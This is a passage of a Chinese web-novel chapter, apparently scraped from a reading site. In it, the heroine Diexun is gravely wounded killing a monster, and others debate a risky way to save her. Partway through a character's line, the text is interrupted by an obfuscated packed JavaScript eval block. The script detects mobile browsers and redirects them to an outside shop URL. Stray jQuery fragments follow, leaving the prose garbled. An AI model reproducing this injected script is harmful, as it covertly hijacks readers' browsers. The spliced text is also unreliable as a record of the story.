为了走到这个距离,蝶寻从察觉到“鬼”开始靠近的第一个瞬间便开始扣动扳机,她手上全是冷汗,滴落在扳机之上,抬起一只胳膊费力地瞄准目标,好几次连“鬼”的边缘都没擦到。“袖箭”之所以称作“袖”,便是因为藏在身上可以随身携带,箭筒里自然不会放很多支箭,蝶寻因为紧张不断射击,眼下箭筒瞬间便见了底。
怎么办……
蝶寻握住最后一支箭,纤细的手腕不断颤抖,小女孩头埋在她怀里,被吓得小声抽泣。
怎么办……自己要死在这里了吗?
可是……可是她还没见到春生……还没问个明白……
蝶寻咬咬牙,身边怪物的手还差几寸便要触碰到她,腐烂的味道前所未有的强烈,死亡的阴影难以躲避地笼罩在她头顶,所有感官在一瞬间被放大,她听见“鬼”撞击地面的脚步声,女孩在自己怀里的哽咽声,还看到夕阳金色的光线下,那庞然大物身后,系着绳子的箭矢尖端在闪闪发光……
以及……她难以忽视的,自己咚咚的心跳声。
她将那支箭塞到小女孩手里,语速很快:“待会儿我靠近那个东西,把你举高,你刺它的眼睛,就用这支箭。”
小女孩眨着眼,眼里蓄满了泪水,一声不吭地看着她。
蝶寻不知道她有没有明白自己的意思,但周围“鬼”的距离已经近到避无可避,那怪物个头太高,自己手里还抱着一个孩子,绝对无法用一支箭就把它戳瞎。
腥臭的味道已经到了面前,蝶寻抱着女孩狼狈地在地上滚过一圈,堪堪避开了几只扑上来的鬼,她顺势向前,到了那怪物脚下。
“鬼”猩红的双眼俯视着她,蝶寻无端从它眼中读出了情绪——不屑和冷漠,像在看一只微不足道的蝼蚁。
蝶寻猛地一跃而起,单手将那女孩高举过头顶,箭矢尖端寒光一闪。
她整个身子却斜扑向另外一侧,伸长手臂去够地上那支系了绳子的箭!
冰凉的箭矢攥在她手心里,似乎有血渍落在脸上,蝶寻转头,小女孩双手握着那箭,费劲力气,却只戳下去浅浅一点,尖端刺在那怪物眼角,划出一丝几乎看不出来的伤口,那怪物却勃然大怒,挥起手臂就要砸向小女孩。
蝶寻拼尽全力推开女孩,紧握着那系着绳子的箭尖,狠狠刺向“鬼”的心脏!
只听见“噗嗤”一声轻响,淬了毒的箭尖深入怪物的皮肉,而她自己却像断了线的风筝,被那怪物一臂拍出几丈远,倒在地上大口吐着鲜血。
一切都在旋转,太阳的金光模糊了视线。失去意识前,蝶寻眼前看到的最后一幕,是密密麻麻的怪物流着涎水一步一步向她靠近。
……
“为什么不让我救人?!”
乔挽月冷冷地盯着对面的男人,那男人一身滚金边的白衣,容貌俊逸,气度不凡。
男人温声道:“你知道是为什么。”
乔挽月恨恨地盯了她一会儿,慢慢闭上眼:“赵靖安,我有时候真恨你这幅事不关己的样子。”
赵靖安看着她,好像毫不在意她的不满:“你不是恨我,你是羡慕我。”
乔挽月说:“如果都像你这样,那我们做这些也没有意义。”
赵靖安神色温柔道:“怎么会没有意义,我们的目标都是一样的。”
乔挽月不愿继续这个话题,她避开赵靖安的视线,转头问国师:“怎么样?”
国师说:“气息微弱,命不久矣。”
床上的女孩血肉模糊,身上一块完整的皮肤都看不到,面容也被伤口覆盖了。乔挽月在她身边坐下,不死心地问:“真的毫无办法?”
国师平静地看了她一眼,说:“华佗在世也无力回天,能让你如此在意,她是谁?”
赵靖安插话道:“就算是只有一面之缘的人,挽月也照样会付诸真心。”
乔挽月不想理他,对国师说:“她叫蝶寻,是我从地牢里救出来的,虽然交情不深,但我知道她是个很好的人。”
国师思索片刻:“我认识她。”
“你怎么会认识?”
国师说:“大概一月之前,皇上在牡丹园被人下毒暗算,她是嫌犯。但当时我也在现场,觉得事出蹊跷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112318|149789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,于是暂时给她作保,皇上余怒未消,依旧将她关在地牢中,但也允许我继续调查这件事。”
乔挽月皱眉道:“她刺杀皇上?什么动机?”
国师说:“她是罪臣之女,要说是怀恨在心也不是没可能。”
乔挽月不语。
国师继续道:“但后来京城陷落,没人顾得上这件事,我听说地牢里的狱卒擅自开锁,将犯人都放走了,于是也没再过问。你说你是从地牢里把她救出来的?”
乔挽月说:“没错。”
国师说:“许是狱卒放人的时候太过急切,遗漏了她。”
赵靖安摇着折扇:“也说不定狱卒是被重获自由的犯人杀了,根本来不及给她那间牢房开锁。”
乔挽月瞪了赵靖安一眼,房间内一时间无人说话,赵靖安突然开口道:“我有个法子,说不定能救她。”
“什么?”
“挽月可能不会乐意听。我也没多大把握
,只不过是突发奇想。”
国师问:“没多大把握是几成把握?”
赵靖安比了一根手指。
乔挽月看着他:“什么办法?”
赵靖安眼眸里露出浅浅的笑意:“我不告诉你。你只说为了搏这一成可能性,愿不愿意让我试试?”
乔挽月盯着他的眼睛:“……你试过之后,她还能……算是人吗?”
赵靖安笑而不语。
乔挽月说:“我做不了主,就算我救过她也没办法替她做这个决定。”
赵靖安问:“她有没有什么活着的亲人?”
乔挽月摇头摇到一半,国师突然开口道:“她曾经让我保两个人平安。”
乔挽月疑惑:“你方才说她是罪臣之女,难道是她的家人?”
国师摇头:“我调查过,她全家被抄家,家人已经因为各种各样的原因去世了。”
赵靖安好奇道:“那她要保谁?”
国师说:“舒嫔和她身边一个侍女,名叫冬藏。这次撤退每位嫔妃允许带一个侍女,不知道舒嫔是不是带了她。”